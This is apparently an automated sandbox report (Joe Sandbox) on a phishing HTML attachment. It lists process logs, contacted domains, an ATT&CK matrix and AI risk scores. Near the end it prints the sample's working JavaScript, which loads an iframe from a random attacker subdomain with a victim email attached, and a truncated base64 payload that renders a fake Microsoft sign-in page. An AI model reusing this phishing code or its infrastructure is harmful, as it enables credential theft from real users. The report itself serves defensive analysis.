Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3504_278465625\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_3504_1846691489

Jump to behavior

Source: classification engine

Classification label: mal72.phis.winHTML@34/44@28/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Encrypted_Archive_2025_LHC1W64SMW.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2004,i,1790280279161617684,10079190429469742874,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2004,i,1790280279161617684,10079190429469742874,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html

HTTP Parser: file:///C:/Users/user/Desktop/Encrypted_Archive_2025_LHC1W64SMW.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	11 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://3kxi2uz.port-terra.fr/app/godag.php	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ooc-g2.tm-4.office.com	40.99.149.210	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.228	true	false	high
t6vgccvtc.thehang.top	188.114.97.3	true	false	unknown
3kxi2uz.port-terra.fr	104.21.96.1	true	false	unknown
HHN-efz.ms-acdc.office.com	40.99.150.114	true	false	high
_8443._https.t6vgccvtc.thehang.top	unknown	unknown	false	unknown
outlook.office.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://3kxi2uz.port-terra.fr/app/godag.php	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://wieistmeineip.de	sets.json.0.dr	false	high
https://mercadoshops.com.co	sets.json.0.dr	false	high
https://gliadomain.com	sets.json.0.dr	false	high
https://poalim.xyz	sets.json.0.dr	false	high
https://mercadolivre.com	sets.json.0.dr	false	high
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_188.2.dr	false	high
https://reshim.org	sets.json.0.dr	false	high
https://nourishingpursuits.com	sets.json.0.dr	false	high
https://medonet.pl	sets.json.0.dr	false	high
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_188.2.dr	false	high
https://unotv.com	sets.json.0.dr	false	high
https://mercadoshops.com.br	sets.json.0.dr	false	high
https://joyreactor.cc	sets.json.0.dr	false	high
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_188.2.dr	false	high
https://zdrowietvn.pl	sets.json.0.dr	false	high
https://johndeere.com	sets.json.0.dr	false	high
https://songstats.com	sets.json.0.dr	false	high
https://baomoi.com	sets.json.0.dr	false	high
https://supereva.it	sets.json.0.dr	false	high
https://elfinancierocr.com	sets.json.0.dr	false	high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_200.2.dr, chromecache_193.2.dr	false	high
https://bolasport.com	sets.json.0.dr	false	high
https://rws1nvtvt.com	sets.json.0.dr	false	high
https://desimartini.com	sets.json.0.dr	false	high
https://hearty.app	sets.json.0.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_188.2.dr	false	high
https://hearty.gift	sets.json.0.dr	false	high
https://mercadoshops.com	sets.json.0.dr	false	high
https://heartymail.com	sets.json.0.dr	false	high
https://nlc.hu	sets.json.0.dr	false	high
https://p106.net	sets.json.0.dr	false	high
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_188.2.dr	false	high
https://radio2.be	sets.json.0.dr	false	high
https://finn.no	sets.json.0.dr	false	high
https://hc1.com	sets.json.0.dr	false	high
https://kompas.tv	sets.json.0.dr	false	high
https://mystudentdashboard.com	sets.json.0.dr	false	high
https://songshare.com	sets.json.0.dr	false	high
https://smaker.pl	sets.json.0.dr	false	high
https://mercadopago.com.mx	sets.json.0.dr	false	high
https://p24.hu	sets.json.0.dr	false	high
https://talkdeskqaid.com	sets.json.0.dr	false	high
https://24.hu	sets.json.0.dr	false	high
https://mercadopago.com.pe	sets.json.0.dr	false	high
https://cardsayings.net	sets.json.0.dr	false	high
https://text.com	sets.json.0.dr	false	high
https://mightytext.net	sets.json.0.dr	false	high
https://pudelek.pl	sets.json.0.dr	false	high
https://hazipatika.com	sets.json.0.dr	false	high
https://joyreactor.com	sets.json.0.dr	false	high
https://cookreactor.com	sets.json.0.dr	false	high
https://wildixin.com	sets.json.0.dr	false	high
https://eworkbookcloud.com	sets.json.0.dr	false	high
https://jsperf.com/getall-vs-sizzle/2	chromecache_188.2.dr	false	high
https://cognitiveai.ru	sets.json.0.dr	false	high
https://nacion.com	sets.json.0.dr	false	high
https://chennien.com	sets.json.0.dr	false	high
https://drimer.travel	sets.json.0.dr	false	high
https://deccoria.pl	sets.json.0.dr	false	high
https://mercadopago.cl	sets.json.0.dr	false	high
https://talkdeskstgid.com	sets.json.0.dr	false	high
https://naukri.com	sets.json.0.dr	false	high
https://interia.pl	sets.json.0.dr	false	high
https://jquery.com/	chromecache_188.2.dr	false	high
https://bonvivir.com	sets.json.0.dr	false	high
https://carcostadvisor.be	sets.json.0.dr	false	high
https://salemovetravel.com	sets.json.0.dr	false	high
https://sapo.io	sets.json.0.dr	false	high
https://wpext.pl	sets.json.0.dr	false	high
https://welt.de	sets.json.0.dr	false	high
https://poalim.site	sets.json.0.dr	false	high
https://drimer.io	sets.json.0.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_200.2.dr, chromecache_193.2.dr	false	high
https://infoedgeindia.com	sets.json.0.dr	false	high
https://blackrockadvisorelite.it	sets.json.0.dr	false	high
https://cognitive-ai.ru	sets.json.0.dr	false	high
https://cafemedia.com	sets.json.0.dr	false	high
https://graziadaily.co.uk	sets.json.0.dr	false	high
https://thirdspace.org.au	sets.json.0.dr	false	high
https://mercadoshops.com.ar	sets.json.0.dr	false	high
https://sizzlejs.com/	chromecache_188.2.dr	false	high
https://smpn106jkt.sch.id	sets.json.0.dr	false	high
https://elpais.uy	sets.json.0.dr	false	high
https://landyrev.com	sets.json.0.dr	false	high
https://the42.ie	sets.json.0.dr	false	high
https://commentcamarche.com	sets.json.0.dr	false	high
https://tucarro.com.ve	sets.json.0.dr	false	high
https://rws3nvtvt.com	sets.json.0.dr	false	high
https://bugs.jquery.com/ticket/12359	chromecache_188.2.dr	false	high
https://eleconomista.net	sets.json.0.dr	false	high
https://helpdesk.com	sets.json.0.dr	false	high
https://mercadolivre.com.br	sets.json.0.dr	false	high
https://clmbtech.com	sets.json.0.dr	false	high
https://standardsandpraiserepurpose.com	sets.json.0.dr	false	high
https://07c225f3.online	sets.json.0.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.96.1	3kxi2uz.port-terra.fr	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
40.99.150.114	HHN-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.99.149.210	ooc-g2.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.11.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	t6vgccvtc.thehang.top	European Union	13335	CLOUDFLARENETUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.11

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587918
Start date and time:	2025-01-10 18:36:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Encrypted_Archive_2025_LHC1W64SMW.html
Detection:	MAL
Classification:	mal72.phis.winHTML@34/44@28/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 142.250.185.238, 108.177.15.84, 172.217.16.206, 142.250.185.206, 172.217.18.110, 216.58.206.74, 2.22.50.144, 142.250.181.234, 142.250.186.170, 142.250.185.138, 172.217.16.202, 142.250.186.42, 142.250.185.234, 142.250.184.234, 142.250.185.74, 142.250.185.202, 216.58.212.138, 142.250.186.106, 142.250.186.74, 142.250.184.202, 142.250.185.170, 142.250.186.138, 172.217.18.10, 192.229.221.95, 142.250.185.174, 216.58.206.78, 172.217.18.14, 142.250.185.110, 216.58.206.46, 142.250.184.227, 142.250.186.46, 142.250.186.142, 142.250.80.78, 74.125.0.102, 34.104.35.123, 216.58.206.35, 184.28.90.27, 2.23.242.162, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, r1.sn-t0aekn7e.gvt1.com, clients.l.google.com, r1---sn-t0aekn7e.gvt1.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: file:///C:/Users/user/Desktop/Encrypted_Archive_2... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates several behaviors that raise moderate security concerns, including the use of dynamic URL generation, loading content in an iframe from a randomly generated domain, and potential data exfiltration. While the script appears to have a legitimate purpose of simulating a progress bar and loading content, the use of dynamic and potentially untrusted domains, as well as the lack of transparency around the data being transmitted, warrant further review." }
(() => { const progressBar = document.querySelector('#progress-bar div'); const errorMessage = document.getElementById('error-message'); /** * Generate a random string of specified length. / const generateRandomString = (length) => { const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() characters.length)]).join(''); }; /** * Simulate progress bar loading. / const simulateProgress = (callback) => { let progress = 0; const interval = setInterval(() => { if (progress < 100) { progress += Math.random() 10; progressBar.style.width = `${Math.min(progress, 100)}%`; } else { clearInterval(interval); callback(); } }, 300); }; /** * Generate a dynamic and sliced URL. / const generateDynamicURL = async () => { const protocol = "https://"; const domain = `${generateRandomString(9)}.thehang.top:84`; const path = `43/impact?${generateRandomString(18)}`; const query = `Hkey=versteeg@ku.edu`; return protocol + domain + path + query; }; /* * Dynamically update the page title. / const updatePageTitle = () => { const titles = ["Welcome to the Dynamic Page", "Loading Secure Content", "Please Wait", "Your Content is on the Way", "Interactive Experience"]; document.title = titles[Math.floor(Math.random() titles.length)]; }; const loadIframe = async () => { try { const iframe = document.createElement("iframe"); const fullURL = await generateDynamicURL(); iframe.src = fullURL; iframe.onload = () => console.log("Content loaded successfully: ", fullURL); iframe.onerror = () => { console.error("Error loading content: ", fullURL); errorMessage.style.display = "block"; }; document.getElementById("main-content").appendChild(iframe); document.getElementById("main-content").style.display = "block"; } catch (error) { console.error("Unexpected error:", error); errorMessage.style.display = "block"; } }; document.addEventListener("DOMContentLoaded", () => { updatePageTitle(); simulateProgress(() => { document.getElementById("loader-container").style.display = "none"; loadIframe(); }); }); })();
URL: https://t6vgccvtc.thehang.top:8443/impact?H5Ckk4e3... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet appears to be a part of a login page for a Microsoft account. While it does not contain any obvious high-risk indicators, there are some moderate-risk behaviors that warrant further investigation. The script is loading external resources, including jQuery and other JavaScript libraries, which could potentially be used for data exfiltration or other malicious purposes. Additionally, the use of the `document.write()` function to dynamically generate HTML content is considered a moderate-risk indicator, as it could be used to inject malicious code. Overall, the script requires closer inspection to determine its true intent and potential risks." }
document.write( atob( 'CjxodG1sIGRpcj0ibHRyIiBjbGFzcz0iIiBsYW5nPSJlbiI+CjxoZWFkPgogICAgPFRJVExFPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC90aXRsZT4KICAgIDxNRVRBIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KICAgIDxNRVRBIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+Cgo8TElOSyByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Imh0dHBzOi8vYWFkY2RuLm1zZnRhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL2Zhdmljb25fYV9ldXBheWZnZ2hxaWFpN2s5c29sNmxnMi5pY28iPgoKICAgCiAgICA8TElOSyBocmVmPSJodHRwczovL2FhZGNkbi5tc2Z0YXV0aC5uZXQvZXN0cy8yLjEvY29udGVudC9jZG5idW5kbGVzL2NvbnZlcmdlZC52Mi5sb2dpbi5taW5fa2ZocmZ5Znktc20ydG1rbTVmaWNjdzIuY3NzIiByZWw9InN0eWxlc2hlZXQiPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9hamF4Lmdvb2dsZWFwaXMuY29tL2FqYXgvbGlicy9qcXVlcnkvMi4yLjQvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy4xLjEubWluLmpzIj48L3NjcmlwdD4KICAgIDxTQ1JJUFQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vY29kZS5qcXVlcnkuY29tL2pxdWVyeS0zLjMuMS5qcyIgaW50ZWdyaXR5PSJzaGEyNTYtMktvazdNYk95eHBnVVZ2QWsvSEoyamlnT1NZUzJhdUs0UGZ6Ym03dUg2MD0iIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB0PgoJCjxMSU5LIHJlbD0icHJlZmV0Y2giIGhyZWY9Imh0dHBzOi8vYWFkY2RuLm1zZnRhdXRoLm5ldC9lc3RzLzIuMS9jb250ZW50L2NkbmJ1bmRsZXMvY29udmVyZ2VkLnYyLmxvZ2luLm1pbl9rZmhyZnlmeS1zbTJ0bWttNWZpY2N3Mi5jc3MiPgoKPC9IRUFEPgoKPEJPRFkgIGNsYXNzPSJjYiIgc3R5bGU9ImRpc3BsYXk6IGJsb2NrOyI+CgoKPERJVj4KCjxESVYgPjwvRElWPgoKCgoKICAgIDxkaXY+Cgo8RElWIGlkPSJsaWdodGJveFRlbXBsYXRlQ29udGFpbmVyIiA+Cgo8RElWIGlkPSJsaWdodGJveEJhY2tncm91bmRDb250YWluZXIiID48RElWIGNsYXNzPSJiYWNrZ3JvdW5kLWltYWdlLWhvbGRlciIgcm9sZT0icHJlc2VudGF0aW9uIiA+CgogICAgPERJViBjbGFzcz0iYmFja2dyb3VuZC1pbWFnZSBleHQtYmFja2dyb3VuZC1pbWFnZSIgc3R5bGU9ImJhY2tncm91bmQtaW1hZ2U6IHVybCgmcXVvdDtodHRwczovL2FhZGNkbi5tc2Z0YXV0aC5uZXQvc2hhcmVkLzEuMC9jb250ZW50L2ltYWdlcy9iYWNrZ3JvdW5kcy8yX2JjM2QzMmE2OTY4OTVmNzhjMTlkZjZjNzE3NTg2YTVkLnN2ZyZxdW90Oyk7Ij48L0RJVj4KCjwvRElWPjwvRElWPgoKPERJViBjbGFzcz0ib3V0ZXIiID4KCgogICAgPERJViBjbGFzcz0idGVtcGxhdGUtc2VjdGlvbiBtYWluLXNlY3Rpb24iPgogICAgICAgIDxESVYgIGNsYXNzPSJtaWRkbGUgZXh0LW1pZGRsZSI+CiAgICAgICAgICAgIDxESVYgY2xhc3M9ImZ1bGwtaGVpZ2h0Ij4KCjxESVYgY2xhc3M9ImZsZXgtY29sdW1uIj4KIAoKPERJViBjbGFzcz0id2luLXNjcm9sbCI+CgoKCgoKCgoKPERJViBpZD0ieXVpaWl0MTAiIGNsYXNzPSJzaWduLWluLWJveCBleHQtc2lnbi1pbi1ib3ggZmFkZS1pbi1saWdodGJveCBoYXMtcG9wdXAiPgoKICAgICAgICAgICAKCiAgICAgICAgPERJViBjbGFzcz0ibGlnaHRib3gtY292ZXIiPjwvRElWPgoKICAgICAgICAKICAgICAgICA8RElWPgoKPGltZyBjbGFzcz0ibG9nbyIgcm9sZT0iaW1nIiBzcmM9Imh0dHBzOi8vYWFkY2RuLm1zYXV0aC5uZXQvc2hhcmVkLzEuMC9jb250ZW50L2ltYWdlcy9taWNyb3NvZnRfbG9nb19lZTVjOGQ5ZmI2MjQ4YzkzOGZkMGRjMTkzNzBlOTBiZC5zdmciIGFsdD0iTWljcm9zb2Z0Ij48L0RJVj4KICAgICAgICAKICAgICAgICA8RElWIHJvbGU9Im1haW4iPgoKPERJViBjbGFzcz0iIj4KICAgIAogICAgPERJViBjbGFzcz0icGFnaW5hdGlvbi12aWV3IGFuaW1hdGUgc2xpZGUtaW4tbmV4dCI+CgogICAgICA8RElWIGRhdGEtdmlld2lkPSIxIiBkYXRhLXNob3dmZWRjcmVkYnV0dG9uPSJ0cnVlIj4KCjxESVY+PERJViBjbGFzcz0icm93IHRpdGxlIGV4dC10aXRsZSIgaWQ9ImxvZ2luSGVhZGVyIj4KICAgIDxESVYgcm9sZT0iaGVhZGluZyIgYXJpYS1sZXZlbD0iMSI+U2lnbiBpbjwvRElWPgogICAKPC9ESVY+PC9ESVY+Cgo8RElWIGNsYXNzPSJyb3ciPgogICAgPERJViByb2xlPSJhbGVydCIgYXJpYS1saXZlPSJhc3NlcnRpdmUiPgoJPHNwYW4gY2xhc3M9ImNvbC1tZC0yNCBlcnJvciBleHQtZXJyb3IiIGlkPSJldGVyYW9yIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPlRoaXMgTWljcm9zb2Z0IGFjY291bnQgZG9lc24ndCBleGlzdC4gRW50ZXIgYSB2YWxpZ